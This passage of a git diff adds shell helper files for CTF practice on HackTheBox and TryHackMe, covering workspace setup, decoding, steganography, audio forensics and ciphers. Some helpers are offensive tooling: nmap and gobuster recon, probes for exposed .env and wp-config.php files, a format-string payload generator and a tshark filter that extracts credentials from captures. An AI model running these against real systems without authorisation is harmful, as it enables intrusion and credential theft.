"(flag|htb|thm|ctf|picoCTF|DUCTF|CSAW)\{[^}]+\}"' +alias grepmd5='grep -oE "[a-fA-F0-9]{32}"' +alias grepsha1='grep -oE "[a-fA-F0-9]{40}"' +alias grepsha256='grep -oE "[a-fA-F0-9]{64}"' +alias grephex='grep -oE "0x[a-fA-F0-9]+"' +alias grepb64='grep -oE "[A-Za-z0-9+/]{20,}={0,2}"' +alias rot47="tr '\!-~' 'P-~\!-O'" +alias atbash="tr 'A-Za-z' 'Z-Az-a'" +alias b32e='base32' +alias b32d='base32 -d' +alias b85e='python3 -c "import sys,base64;print(base64.b85encode(sys.stdin.buffer.read()).decode())"' +alias b85d='python3 -c "import sys,base64;print(base64.b85decode(sys.stdin.buffer.read().strip()).decode())"' +alias bwalk='binwalk -Me' +alias bwent='binwalk -E' +alias bwsig='binwalk -B' +alias forem='foremost -t all -i' +alias exifall='exiftool -a -u -g1' +alias exifstrip='exiftool -All= -overwrite_original' +alias pdftext='pdftotext -layout' +alias pdfimages='pdfimages -all' +alias steginfo='steghide info' +alias stegx='steghide extract -sf' +alias zstega='zsteg -a' +alias pngcheck='pngcheck -v' +alias pcaphttp='tshark -Y "http.request or http.response" -r' +alias pcapdns='tshark -Y "dns" -r' +alias pcapftp='tshark -Y "ftp" -r' +alias pcapcreds='tshark -Y "http.authorization or ftp.request.command==PASS or ftp.request.command==USER" -r' +alias pcapfollow='tshark -z follow,tcp,ascii,0 -r' +alias pcapfiles='tshark --export-objects http,. -r' +alias pcapstats='capinfos' +alias ropgadget='ROPgadget --binary' +alias ropper='ropper -f' +alias patchelf_interp='patchelf --set-interpreter' +alias nm_funcs='nm -C' +alias curlcookie='curl -c cookies.txt -b cookies.txt' +alias curlfollow='curl -sL' +alias curlpost='curl -s -X POST -H "Content-Type: application/json" -d' +alias wlrock='echo /usr/share/wordlists/rockyou.txt' +alias wlcommon='echo /usr/share/wordlists/dirb/common.txt' +alias wlbig='echo /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt' +alias qrdecode='zbarimg' +alias qrgen='qrencode -o qr.png' +alias rawstrings='strings -a -n 4' +alias printable='strings -e s' +alias cyberchef='xdg-open https://gchq.github.io/CyberChef/' +alias dcode='xdg-open https://www.dcode.fr/' +alias factordb='xdg-open https://factordb.com/' + +# ============================================================================ +# functions: CTF +# ============================================================================ + +ctfinit() { + name="$1"; category="${2:-misc}" + [ -z "$name" ] && { echo "Usage: ctfinit <challenge-name> [category]"; return 1; } + dir="$PWD/$name" + mkdir -p "$dir"/{files,solve,notes} + cat > "$dir/notes/README.md" << EOF +# $name +Category: $category +Date: $(date -I) +Points: +Flag: + +## Description + +## Solution +EOF + echo "[+] CTF workspace: $dir" + cd "$dir" +} + +ctfcomp() { + comp="$1" + [ -z "$comp" ] && { echo "Usage: ctfcomp <competition-name>"; return 1; } + dir="$PWD/$comp" + mkdir -p "$dir"/{crypto,pwn,rev,web,forensics,misc,osint} + echo "# $comp - $(date -I)" > "$dir/README.md" + echo "[+] Competition workspace: $dir" + cd "$dir" +} + +rotall() { + input="$1" + [ -z "$input" ] && { echo "Usage: rotall <string>"; return 1; } + python3 -c " +s = '$input' +for i in range(26): + r = [] + for c in s: + if c.isalpha(): + base = ord('A') if c.isupper() else ord('a') + r.append(chr((ord(c) - base + i) % 26 + base)) + else: + r.append(c) + print(f'ROT{i:02d}: {chr(34).join([\"\"])}' + ''.join(r)) +" +} + +xorbrute_ctf() { + file="$1" + [ -z "$file" ] && { echo "Usage: xorbrute_ctf <file>"; return 1; } + python3 -c " +data = open('$file','rb').read() +for key in range(256): + dec = bytes([b^key for b in data]) + printable = sum(1 for c in dec if 32<=c<127) / max(len(dec),1) + if printable > 0.7: + preview = dec[:80].decode('ascii', errors='replace') + print(f'Key 0x{key:02x} ({printable:.0%}): {preview}') +" | head -20 +} + +xorfiles() { + [ $# -lt 2 ] && { echo "Usage: xorfiles <file1> <file2> [output]"; return 1; } + out="${3:-xored.bin}" + python3 -c " +import itertools +a = open('$1','rb').read() +b = open('$2','rb').read() +result = bytes([x^y for x,y in zip(a, itertools.cycle(b))]) +open('$out','wb').write(result) +print(f'[+] XORed {len(a)} bytes -> $out') +" +} + +freqanalysis() { + input="$1" + [ -z "$input" ] && { echo "Usage: freqanalysis <string-or-file>"; return 1; } + if [ -f "$input" ]; then + cat "$input" + else + echo "$input" + fi | python3 -c " +import sys, collections +text = sys.stdin.read().upper() +freq = collections.Counter(c for c in text if c.isalpha()) +total = sum(freq.values()) +print('Character frequencies:') +for c, n in freq.most_common(): + print(f' {c}: {n:4d} ({100*n/total:5.1f}%)') +print(f'By frequency: {chr(34).join([\"\"])}' + ''.join(c for c,_ in freq.most_common())) +print(f'English freq: ETAOINSHRDLCUMWFGYPBVKJXQZ') +" +} + +hashall() { + input="$1" + [ -z "$input" ] && { echo "Usage: hashall <string>"; return 1; } + printf '%s' "$input" | { echo "MD5: $(md5sum | cut -d' ' -f1)"; } + printf '%s' "$input" | { echo "SHA1: $(sha1sum | cut -d' ' -f1)"; } + printf '%s' "$input" | { echo "SHA256: $(sha256sum | cut -d' ' -f1)"; } + printf '%s' "$input" | { echo "SHA512: $(sha512sum | cut -d' ' -f1)"; } +} + +forensic() { + file="$1" + [ -z "$file" ] || [ ! -f "$file" ] && { echo "Usage: forensic <file>"; return 1; } + echo "=== FILE TYPE ===" && file "$file" + echo "" && echo "=== SIZE ===" && ls -lh "$file" | awk '{print $5}' + echo "" && echo "=== HASHES ===" + echo "MD5: $(md5sum "$file" | cut -d' ' -f1)" + echo "SHA256: $(sha256sum "$file" | cut -d' ' -f1)" + echo "" && echo "=== EXIFTOOL ===" + exiftool "$file" 2>/dev/null | head -25 + echo "" && echo "=== BINWALK ===" + binwalk "$file" 2>/dev/null | head -15 + echo "" && echo "=== STRINGS (first 20) ===" + strings -a "$file" | head -20 +} + +stegpipeline() { + file="$1" + [ -z "$file" ] || [ ! -f "$file" ] && { echo "Usage: stegpipeline <image>"; return 1; } + echo "=== FILE INFO ===" && file "$file" + echo "" && echo "=== EXIF INTERESTING ===" + exiftool "$file" 2>/dev/null | grep -iE "comment|author|description|title|software" + echo "" && echo "=== FLAG-LIKE STRINGS ===" + strings -n 8 "$file" | grep -iE "flag|ctf|key|password|secret|hint" | head -10 + if echo "$file" | grep -qiE '\.png$'; then + echo "" && echo "=== ZSTEG ===" + zsteg "$file" 2>/dev/null | head -15 + echo "" && echo "=== PNGCHECK ===" + pngcheck -v "$file" 2>/dev/null | head -10 + fi + echo "" && echo "=== STEGHIDE (empty passphrase) ===" + steghide extract -sf "$file" -p "" -f 2>/dev/null && echo "[+] Extracted!" || echo "[-] No hidden data" + echo "" && echo "=== BINWALK ===" + binwalk "$file" 2>/dev/null | head -10 +} + +pcapfull() { + pcap="$1" + [ -z "$pcap" ] || [ ! -f "$pcap" ] && { echo "Usage: pcapfull <pcap-file>"; return 1; } + outdir="pcap_$(basename "$pcap" | sed 's/\.[^.]*$//')_$$" + mkdir -p "$outdir" + echo "[*] Analyzing $pcap -> $outdir/" + capinfos "$pcap" 2>/dev/null > "$outdir/stats.txt" + tshark -r "$pcap" -z io,phs -q 2>/dev/null > "$outdir/protocols.txt" + tshark -r "$pcap" -Y 'dns.qry.name' -T fields -e dns.qry.name 2>/dev/null | sort -u > "$outdir/dns_queries.txt" + tshark -r "$pcap" -Y 'http.request' -T fields -e http.host -e http.request.method -e http.request.uri 2>/dev/null > "$outdir/http_requests.txt" + tshark -r "$pcap" -Y 'ftp.request.command' -T fields -e ftp.request.command -e ftp.request.arg 2>/dev/null > "$outdir/ftp.txt" + echo "[+] Output in $outdir/" && ls -la "$outdir/" +} + +ctf_pwntemplate() { + binary="$1"; output="${2:-exploit.py}" + [ -z "$binary" ] && { echo "Usage: ctf_pwntemplate <binary> [output.py]"; return 1; } + cat > "$output" << 'PWNEOF' +#!/usr/bin/env python3 +from pwn import * + +BINARY = './PLACEHOLDER' +HOST = '' +PORT = 0 + +context.binary = elf = ELF(BINARY) +context.log_level = 'info' +libc = elf.libc + +def conn(): + if args.REMOTE: + return remote(HOST, PORT) + return process([BINARY]) + +def exploit(): + r = conn() + # --- exploit code here --- + r.interactive() + +if __name__ == '__main__': + exploit() +PWNEOF + sed -i "s|PLACEHOLDER|$binary|g" "$output" + chmod +x "$output" + echo "[+] Pwntools template: $output" +} + +fmtstr_test() { + count="${1:-20}" + echo "[*] Format string test payloads:" + i=1 + while [ "$i" -le "$count" ]; do + printf "%%${i}\$x " + i=$((i + 1)) + done + echo "" +} + +cyclic_gen() { + length="${1:-200}" + python3 -c "from pwn import *; print(cyclic($length).decode())" +} + +cyclic_find() { + value="$1" + [ -z "$value" ] && { echo "Usage: cyclic_find <4-char-value>"; return 1; } + python3 -c "from pwn import *; print(cyclic_find(b'$value'))" +} + +dirbust() { + url="$1" + [ -z "$url" ] && { echo "Usage: dirbust <url>"; return 1; } + echo "[*] Quick scan (common.txt)..." + gobuster dir -u "$url" -w /usr/share/wordlists/dirb/common.txt -t 50 -q 2>/dev/null | head -30 + echo "" + echo "[*] Extension scan (.php,.html,.txt,.bak,.old,.zip)..." + gobuster dir -u "$url" -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak,old,zip -t 50 -q 2>/dev/null | head -30 +} + +webcheck() { + url="$1" + [ -z "$url" ] && { echo "Usage: webcheck <url>"; return 1; } + echo "=== HEADERS ===" + curl -sI "$url" | grep -iE "server|x-powered|x-frame|content-security|set-cookie|x-xss" + echo "" && echo "=== ROBOTS.TXT ===" + curl -s "$url/robots.txt" 2>/dev/null | head -15 + echo "" && echo "=== COMMON FILES ===" + for path in .git/HEAD .env .htaccess wp-config.php web.config backup.zip; do + code=$(curl -s -o /dev/null -w "%{http_code}" "$url/$path" 2>/dev/null) + [ "$code" != "404" ] && [ "$code" != "000" ] && echo " [!] $path -> $code" + done +} + +autodecode() { + input="$1" + [ -z "$input" ] && { echo "Usage: autodecode <string>"; return 1; } + python3 -c " +import base64, codecs, urllib.parse, sys + +s = '''$input''' +print(f'Input: {s}') +print() + +# Hex +try: + d = bytes.fromhex(s.replace('0x','').replace(' ','')) + if all(32<=b<127 for b in d): + print(f'Hex decode: {d.decode()}') +except: pass + +# Base64 +try: + d = base64.b64decode(s + '==') + if all(32<=b<127 for b in d): + print(f'Base64 decode: {d.decode()}') +except: pass + +# Base32 +try: + d = base64.b32decode(s + '='*(-len(s)%8)) + if all(32<=b<127 for b in d): + print(f'Base32 decode: {d.decode()}') +except: pass + +# URL decode +try: + d = urllib.parse.unquote(s) + if d != s: print(f'URL decode: {d}') +except: pass + +# ROT13 +d = codecs.decode(s, 'rot_13') +if d != s: print(f'ROT13: {d}') + +# Binary +try: + if all(c in '01 ' for c in s): + d = ''.join(chr(int(b,2)) for b in s.split()) + print(f'Binary decode: {d}') +except: pass + +# Decimal +try: + if all(c in '0123456789 ' for c in s): + d = ''.join(chr(int(n)) for n in s.split() if 32<=int(n)<127) + if d: print(f'Decimal decode: {d}') +except: pass +" +} + +extractall() { + file="$1" + [ -z "$file" ] || [ ! -f "$file" ] && { echo "Usage: extractall <file>"; return 1; } + outdir="extracted_$$" + mkdir -p "$outdir" + echo "[*] Binwalk extraction..." + binwalk -Me "$file" -C "$outdir" 2>/dev/null + echo "[*] Foremost carving..." + foremost -i "$file" -o "$outdir/foremost" 2>/dev/null + echo "[+] Results in $outdir/" + find "$outdir" -type f | head -20 +} + +flaghunt() { + dir="${1:-.}" + echo "[*] Hunting for flags in $dir..." + grep -rlIE "(flag|htb|thm|ctf|picoCTF)\{[^}]+\}" "$dir" 2>/dev/null + echo "[*] Checking filenames..." + find "$dir" -iname '*flag*' -o -iname '*secret*' -o -iname '*hidden*' 2>/dev/null +} + +baseconv() { + num="$1"; from="${2:-10}"; to="${3:-16}" + [ -z "$num" ] && { echo "Usage: baseconv <number> [from-base] [to-base]"; return 1; } + python3 -c " +n = int('$num', $from) +fmts = {2:'b', 8:'o', 10:'d', 16:'x'} +print(format(n, fmts.get($to, 'x'))) +" +} + +# ============================================================================ +# aliases: HTB +# ============================================================================ +alias htbvpn='sudo openvpn ~/htb/lab.ovpn' +alias htbvpnr='sudo openvpn ~/htb/release.ovpn' +alias htbvpnf='sudo openvpn ~/htb/fortress.ovpn' +alias htbvpnk='sudo killall openvpn' +alias htbip='ip addr show tun0 | grep "inet " | awk "{print \$2}" | cut -d/ -f1' +alias htbtun='ip a show tun0 2>/dev/null && echo "[+] VPN connected" || echo "[-] VPN disconnected"' +alias cdhtbm='cd ~/ctf/hackthebox/machines' +alias cdhtbc='cd ~/ctf/hackthebox/challenges' +alias cdhtbs='cd ~/ctf/hackthebox/sherlocks' +alias cdhtbp='cd ~/ctf/hackthebox/prolabs' +alias htblist='htb-cli machine list' +alias htbactive='htb-cli machine list --active' +alias htbretired='htb-cli machine list --retired' +alias htbstart='htb-cli machine start' +alias htbstop='htb-cli machine stop' +alias htbreset='htb-cli machine reset' +alias htbflag='htb-cli machine submit' +alias htbinfo='htb-cli machine info' +alias htbweb='xdg-open https://app.hackthebox.com/machines' +alias htbchal='xdg-open https://app.hackthebox.com/challenges' +alias htbsher='xdg-open https://app.hackthebox.com/sherlocks' +alias htbacad='xdg-open https://academy.hackthebox.com' +alias htbrank='xdg-open https://app.hackthebox.com/profile' + +# ============================================================================ +# functions: HTB +# ============================================================================ + +htbinit() { + name="$1" + [ -z "$name" ] && { echo "Usage: htbinit <machine-name>"; return 1; } + dir="$HOME/ctf/hackthebox/machines/$name" + mkdir -p "$dir"/{nmap,web,exploit,loot,privesc,notes} + cat > "$dir/notes/notes.md" << EOF +# $name (HackTheBox) +Date: $(date -I) +Difficulty: +OS: +IP: + +## Recon + +## Foothold + +## User + +## Root + +## Flags +- user.txt: +- root.txt: +EOF + echo "[+] HTB workspace: $dir" + cd "$dir" +} + +htbset() { + ip="$1"; name="$2" + [ -z "$ip" ] && { echo "Usage: htbset <ip> [hostname]"; return 1; } + export TARGET="$ip" + export HTB_BOX="$name" + echo "[+] TARGET=$ip" + if [ -n "$name" ]; then + if grep -q "$name" /etc/hosts 2>/dev/null; then + echo "[*] $name already in /etc/hosts" + else + echo "[*] Adding to /etc/hosts..." + echo "$ip $name $name.htb" | sudo tee -a /etc/hosts + fi + fi +} + +htbclean() { + name="$1" + [ -z "$name" ] && { echo "Usage: htbclean <hostname>"; return 1; } + sudo sed -i "/$name/d" /etc/hosts + echo "[+] Removed $name from /etc/hosts" +} + +htbrecon() { + target="$1" + [ -z "$target" ] && target="$TARGET" + [ -z "$target" ] && { echo "Usage: htbrecon <ip> (or set TARGET)"; return 1; } + echo "[*] === PHASE 1: Quick port scan ===" + ports=$(nmap -p- --min-rate=1000 -T4 "$target" 2>/dev/null | grep '^[0-9]' | cut -d'/' -f1 | tr '\n' ',' | sed 's/,$//') + [ -z "$ports" ] && { echo "[-] No open ports found"; return 1; } + echo "[+] Open ports: $ports" + echo "[*] === PHASE 2: Deep scan ===" + nmap -sC -sV -p"$ports" "$target" -oN nmap/deep.txt -oX nmap/deep.xml 2>/dev/null + echo "[+] Saved to nmap/deep.txt" + echo "[*] === PHASE 3: UDP top 20 ===" + nmap -sU --top-ports 20 "$target" -oN nmap/udp.txt 2>/dev/null & + if echo "$ports" | grep -qE '(80|443|8080|8443)'; then + echo "[*] === PHASE 4: Web enumeration ===" + for port in 80 443 8080 8443; do + if echo "$ports" | grep -q "$port"; then + proto="http" + [ "$port" = "443" ] || [ "$port" = "8443" ] && proto="https" + whatweb "$proto://$target:$port" 2>/dev/null | head -5 + fi + done + fi + wait + echo "[+] Recon complete" +} + +htbnmap() { + target="$1" + [ -z "$target" ] && target="$TARGET" + [ -z "$target" ] && { echo "Usage: htbnmap <ip>"; return 1; } + mkdir -p nmap + echo "[*] Quick TCP scan..." + nmap -sC -sV -oN nmap/initial.txt "$target" +} + +htbsherlock() { + name="$1" + [ -z "$name" ] && { echo "Usage: htbsherlock <sherlock-name>"; return 1; } + dir="$HOME/ctf/hackthebox/sherlocks/$name" + mkdir -p "$dir"/{artifacts,analysis,notes} + cat > "$dir/notes/notes.md" << EOF +# $name (Sherlock) +Date: $(date -I) +Category: +Difficulty: + +## Scenario + +## Evidence Analysis + +## Timeline + +## Answers +EOF + echo "[+] Sherlock workspace: $dir" + cd "$dir" +} + +htbdone() { + dir="$HOME/ctf/hackthebox/machines" + [ ! -d "$dir" ] && { echo "No HTB directory found"; return 1; } + echo "=== Completed HTB Machines ===" + for box in "$dir"/*/; do + name=$(basename "$box") + if grep -q "root.txt:" "$box/notes/notes.md" 2>/dev/null | grep -v "root.txt:$"; then + echo " [x] $name" + else + echo " [ ] $name" + fi + done +} + +htbsearch() { + query="$1" + [ -z "$query" ] && { echo "Usage: htbsearch <name>"; return 1; } + [ -z "$HTB_TOKEN" ] && { echo "Set HTB_TOKEN first"; return 1; } + curl -s "https://labs.hackthebox.com/api/v4/search/fetch?query=$query" \ + -H "Authorization: Bearer $HTB_TOKEN" \ + -H "Content-Type: application/json" 2>/dev/null | python3 -m json.tool 2>/dev/null | head -40 +} + +htbmachine() { + id="$1" + [ -z "$id" ] && { echo "Usage: htbmachine <machine-id>"; return 1; } + [ -z "$HTB_TOKEN" ] && { echo "Set HTB_TOKEN first"; return 1; } + curl -s "https://labs.hackthebox.com/api/v4/machine/profile/$id" \ + -H "Authorization: Bearer $HTB_TOKEN" 2>/dev/null | python3 -m json.tool 2>/dev/null +} + +# ============================================================================ +# aliases: THM +# ============================================================================ +alias thmvpn='sudo openvpn ~/thm/thm.ovpn' +alias thmvpnk='sudo killall openvpn' +alias thmip='ip addr show tun0 | grep "inet " | awk "{print \$2}" | cut -d/ -f1' +alias thmtun='ip a show tun0 2>/dev/null && echo "[+] VPN up" || echo "[-] VPN down"' +alias cdthmr='cd ~/ctf/tryhackme/rooms' +alias cdthmp='cd ~/ctf/tryhackme/paths' +alias thmweb='xdg-open https://tryhackme.com' +alias thmrooms='xdg-open https://tryhackme.com/hacktivities' +alias thmpath='xdg-open https://tryhackme.com/paths' +alias thmrank='xdg-open https://tryhackme.com/profile' +alias thmnet='xdg-open https://tryhackme.com/access' + +# ============================================================================ +# functions: THM +# ============================================================================ + +thminit() { + name="$1"; path_name="${2:-}" + [ -z "$name" ] && { echo "Usage: thminit <room-name> [path-name]"; return 1; } + if [ -n "$path_name" ]; then + dir="$HOME/ctf/tryhackme/paths/$path_name/$name" + else + dir="$HOME/ctf/tryhackme/rooms/$name" + fi + mkdir -p "$dir"/{nmap,web,exploit,loot,notes} + cat > "$dir/notes/notes.md" << EOF +# $name (TryHackMe) +Date: $(date -I) +Room URL: https://tryhackme.com/r/room/$name +Difficulty: + +## Tasks + +### Task 1 + +### Task 2 + +## Notes +EOF + echo "[+] THM workspace: $dir" + cd "$dir" +} + +thmset() { + ip="$1"; name="$2" + [ -z "$ip" ] && { echo "Usage: thmset <ip> [hostname]"; return 1; } + export TARGET="$ip" + export THM_ROOM="$name" + echo "[+] TARGET=$ip" + [ -n "$name" ] && echo "$ip $name" | sudo tee -a /etc/hosts +} + +thmrecon() { + target="$1" + [ -z "$target" ] && target="$TARGET" + [ -z "$target" ] && { echo "Usage: thmrecon <ip>"; return 1; } + mkdir -p nmap + echo "[*] Quick scan..." + nmap -sC -sV -oN nmap/initial.txt "$target" + echo "" + echo "[*] Checking for web..." + for port in 80 443 8080; do + code=$(curl -s -o /dev/null -w "%{http_code}" "http://$target:$port" 2>/dev/null) + [ "$code" != "000" ] && echo "[+] HTTP on port $port (status $code)" + done +} + +thmpath() { + name="$1" + [ -z "$name" ] && { echo "Usage: thmpath <path-name>"; return 1; } + dir="$HOME/ctf/tryhackme/paths/$name" + mkdir -p "$dir" + cat > "$dir/README.md" << EOF +# $name Path (TryHackMe) +Started: $(date -I) + +## Rooms +EOF + echo "[+] Path workspace: $dir" + cd "$dir" +} + +thmprogress() { + dir="$HOME/ctf/tryhackme/rooms" + [ ! -d "$dir" ] && { echo "No THM directory"; return 1; } + total=0; done=0 + for room in "$dir"/*/; do + total=$((total + 1)) + [ -f "$room/notes/notes.md" ] && done=$((done + 1)) + done + echo "THM Rooms: $done / $total" +} diff --git a/.config/.mksh/forensic.sh b/.config/.mksh/forensic.sh new file mode 100644 index 0000000000000000000000000000000000000000..67a9890480821a923f036f62f5c02e59f31de00a --- /dev/null +++ b/.config/.mksh/forensic.sh @@ -0,0 +1,670 @@ +# forensic -- puzzle forensics, steganography, ciphers, number theory +# Audio analysis, image stego, esoteric languages, file format forensics, math puzzles + +# ============================================================================ +# aliases: audio analysis +# ============================================================================ +alias soxinfo='sox "$1" -n stat' +alias soxspec='sox "$1" -n spectrogram -x 1024 -y 512 -z 120 -o spec.png' +alias soxreverse='sox "$1" "$2" reverse' +alias ffextraudio='ffmpeg -hide_banner -i "$1" -vn -acodec pcm_s16le -ar 44100' +alias ffaudioinfo='ffprobe -hide_banner -v error -select_streams a:0 -show_entries stream=codec_name,channels,sample_rate,duration -of csv=p=0' +alias dtmf='multimon-ng -a DTMF -t wav' +alias midi2csv='midicsv' + +# ============================================================================ +# functions: audio analysis +# ============================================================================ + +spectrogram() { + [ -z "$1" ] && { echo "Usage: spectrogram <audio> [output.png]"; return 1; } + local out="${2:-spectrogram.png}" + if command -v sox >/dev/null; then sox "$1" -n spectrogram -x 1024 -y 512 -z 120 -w hamming -o "$out" + else ffmpeg -i "$1" -vf "showspectrumpic=s=1024x512:log=1" -frames:v 1 "$out" 2>/dev/null + fi && echo "[+] $out" +} + +audiostego() { + [ -z "$1" ] && { echo "Usage: audiostego <audio> [output]"; return 1; } + local out="${2:-extracted.txt}" + command -v steghide >/dev/null && steghide extract -sf "$1" -xf "$out" 2>/dev/null && echo "[+] steghide" && return 0 + command -v mp3stego >/dev/null && mp3stego -d -P "" "$1" "${1%.mp3}.pcm" "$out" 2>/dev/null && echo "[+] mp3stego" && return 0 + echo "[-] No extraction method succeeded" +} + +dtmfdecode() { + [ -z "$1" ] && { echo "Usage: dtmfdecode <audio>"; return 1; } + multimon-ng -a DTMF -t wav "$1" | grep -oE '[0-9A-D*#]' | tr -d '\n'; echo +} + +morsedecode() { + [ -z "$1" ] && { echo "Usage: morsedecode <audio>"; return 1; } + command -v morse-audio-decoder >/dev/null && morse-audio-decoder "$1" && return 0 + command -v rscw >/dev/null && rscw < "$1" && return 0 + echo "[-] No Morse decoder installed" +} + +audioinfo() { + [ -z "$1" ] && { echo "Usage: audioinfo <file>"; return 1; } + if command -v sox >/dev/null; then sox "$1" -n stat 2>&1 + elif command -v ffprobe >/dev/null; then ffprobe -hide_banner "$1" 2>&1 | head -20 + fi +} + +sstvdecode() { + [ -z "$1" ] && { echo "Usage: sstvdecode <audio>"; return 1; } + command -v qsstv >/dev/null && qsstv --decode "$1" && return 0 + command -v sstv >/dev/null && sstv -i "$1" -o "sstv_out.png" && return 0 + echo "[-] qsstv or sstv not installed" +} + +midi2text() { + [ -z "$1" ] && { echo "Usage: midi2text <midi>"; return 1; } + midicsv "$1" | grep -E "Note_on|Note_off|Program_c" +} + +tonegen() { + [ -z "$1" ] && { echo "Usage: tonegen <freq_hz> [dur_sec] [output.wav]"; return 1; } + sox -n -t wav "${3:-tone_${1}hz.wav}" synth "${2:-1}" sine "$1" && echo "[+] ${3:-tone_${1}hz.wav}" +} + +audioreverse() { + [ -z "$1" ] && { echo "Usage: audioreverse <input> [output]"; return 1; } + sox "$1" "${2:-reversed.wav}" reverse && echo "[+] ${2:-reversed.wav}" +} + +# ============================================================================ +# aliases: image steganography +# ============================================================================ +alias outguess_hide='outguess -k' +alias outguess_extract='outguess -r' +alias pngcheck='pngcheck -v' +alias qrdecode='zbarimg' +alias qrencode='qrencode -o' + +# ============================================================================ +# functions: image steganography +# ============================================================================ + +imgstego() { + [ -z "$1" ] && { echo "Usage: imgstego <image>"; return 1; } + echo "=== FILE ===" && file "$1" && identify -verbose "$1" 2>/dev/null | grep -E "Geometry|Colorspace|Depth" + echo "=== EXIF ===" && exiftool "$1" 2>/dev/null | head -20 + echo "=== STRINGS ===" && strings -n 8 "$1" | head -20 + echo "=== BINWALK ===" && binwalk "$1" 2>/dev/null + echo "=== OUTGUESS ===" && outguess -r "$1" /dev/null 2>/dev/null && echo "Hidden data found!" || echo "No outguess data" + echo "=== STEGHIDE ===" && steghide info "$1" 2>/dev/null + echo "=== ZSTEG ===" && command -v zsteg >/dev/null && zsteg "$1" 2>/dev/null | head -10 +} + +lsbextract() { + [ -z "$1" ] && { echo "Usage: lsbextract <image> [bits]"; return 1; } + python3 -c " +from PIL import Image; import sys +img=Image.open('$1'); px=list(img.tobytes()) +bits=${2:-1}; lsbs=[] +for p in px: + for i in range(bits): lsbs.append((p>>i)&1) +result=bytearray() +for i in range(0,len(lsbs)-7,8): + b=0 + for j in range(8): b|=(lsbs[i+j]<<j) + result.append(b) +sys.stdout.buffer.write(result) +" +} + +colorplanes() { + [ -z "$1" ] && { echo "Usage: colorplanes <image> [prefix]"; return 1; } + local p="${2:-plane}" + convert "$1" -channel R -separate "${p}_red.png" && echo "${p}_red.png" + convert "$1" -channel G -separate "${p}_green.png" && echo "${p}_green.png" + convert "$1" -channel B -separate "${p}_blue.png" && echo "${p}_blue.png" + for i in 0 1 2 3 4 5 6 7; do + convert "$1" -depth 8 -fx "((u*255)>>$i)&1" "${p}_bit${i}.png" 2>/dev/null && echo "${p}_bit${i}.png" + done +} + +xorimage() { + [ $# -lt 2 ] && { echo "Usage: xorimage <img1> <img2> [output]"; return 1; } + python3 -c " +from PIL import Image +a,b=Image.open('$1').convert('RGB'),Image.open('$2').convert('RGB') +px1,px2=a.load(),b.load() +out=Image.new('RGB',a.size) +po=out.load() +for y in range(a.size[1]): + for x in range(a.size[0]): + r1,g1,b1=px1[x,y]; r2,g2,b2=px2[x,y] + po[x,y]=(r1^r2,g1^g2,b1^b2) +out.save('${3:-xor_result.png}') +print('[+] ${3:-xor_result.png}') +" +} + +pngchunks() { + [ -z "$1" ] && { echo "Usage: pngchunks <png>"; return 1; } + python3 -c " +import struct,zlib +with open('$1','rb') as f: + assert f.read(8)==b'\x89PNG\r\n\x1a\n','Not PNG' + while True: + lb=f.read(4) + if not lb: break + l=struct.unpack('>I',lb)[0]; t=f.read(4).decode('ascii',errors='replace') + d=f.read(l); f.read(4) + print(f'{t:4s} | {l:8d} bytes') + if t in ['tEXt','zTXt','iTXt']: + try: + n=d.index(b'\x00'); k=d[:n].decode() + v=zlib.decompress(d[n+2:]) if t=='zTXt' else d[n+1:] + print(f' -> {k}: {v[:100]}') + except: pass + if t=='IEND': + trail=f.read() + if trail: print(f'*** TRAILING DATA: {len(trail)} bytes ***'); print(f' {trail[:100]}') + break +" +} + +pixelcount() { + [ -z "$1" ] && { echo "Usage: pixelcount <image>"; return 1; } + python3 -c " +from PIL import Image; from collections import Counter +img=Image.open('$1').convert('RGB'); px=list(img.getdata()) +u=len(set(px)); t=len(px) +print(f'Total: {t} Unique: {u} Diversity: {u/t*100:.2f}%') +for c,n in Counter(px).most_common(10): print(f' {c}: {n} ({n/t*100:.2f}%)') +" +} + +gifframes() { + [ -z "$1" ] && { echo "Usage: gifframes <gif> [outdir]"; return 1; } + local d="${2:-frames}"; mkdir -p "$d" + convert "$1" +adjoin "$d/frame_%03d.png" + echo "[+] $(ls "$d"/frame_*.png | wc -l) frames extracted to $d/" +} + +imgpolyglot() { + [ -z "$1" ] && { echo "Usage: imgpolyglot <file>"; return 1; } + echo "=== Magic bytes ===" && od -A x -t x1z -v -N 32 "$1" + echo "=== Format tests ===" + head -c 8 "$1" | od -An -tx1 | grep -q '89 50 4e 47' && echo "[+] PNG" + head -c 2 "$1" | od -An -tx1 | grep -q 'ff d8' && echo "[+] JPEG" + head -c 4 "$1" | od -An -tx1 | grep -q '50 4b 03 04' && echo "[+] ZIP" + head -c 5 "$1" | grep -q '%PDF' && echo "[+] PDF" + head -c 6 "$1" | grep -q 'GIF8' && echo "[+] GIF" +} + +pietrun() { + [ -z "$1" ] && { echo "Usage: pietrun <image.png>"; return 1; } + command -v npiet >/dev/null && npiet -n -t 100000 "$1" || echo "[-] npiet not installed" +} + +# ============================================================================ +# aliases: esoteric languages / ciphers +# ============================================================================ +alias rot13="tr 'a-zA-Z' 'n-za-mN-ZA-M'" +alias rot47="perl -pe 's/([!-~])/chr(33+((ord(\$1)-33+47)%94))/ge'" +alias atbash="tr 'a-z' 'z-a' | tr 'A-Z' 'Z-A'" +alias codepoints="perl -C -ne 'print join(\", \", map { sprintf(\"U+%04X\", ord(\$_)) } split //) . \" \\n\"'" +alias wordfreq="tr ' ' '\n' | grep -v '^$' | sort | uniq -c | sort -rn" +alias charfreq="fold -w1 | sort | uniq -c | sort -rn" + +# ============================================================================ +# functions: esoteric languages / ciphers +# ============================================================================ + +caesar() { + shift_n="${1:-13}" + python3 -c " +import sys +s=int('$shift_n') +for line in sys.stdin: + r=[] + for c in line: + if 'a'<=c<='z': r.append(chr((ord(c)-97+s)%26+97)) + elif 'A'<=c<='Z': r.append(chr((ord(c)-65+s)%26+65)) + else: r.append(c) + print(''.join(r),end='') +" +} + +rot() { + [ -z "$1" ] && { echo "Usage: echo text | rot <n>"; return 1; } + caesar "$1" +} + +vigenere() { + [ $# -lt 2 ] && { echo "Usage: echo text | vigenere <enc|dec> <key>"; return 1; } + python3 -c " +import sys +mode,key='$1','$2'.upper() +ki=0 +for line in sys.stdin: + r=[] + for c in line: + if c.isalpha(): + base=65 if c.isupper() else 97 + shift=ord(key[ki%len(key)])-65 + if mode=='dec': shift=-shift + r.append(chr((ord(c)-base+shift)%26+base)) + ki+=1 + else: r.append(c) + print(''.join(r),end='') +" +} + +railfence() { + [ $# -lt 2 ] && { echo 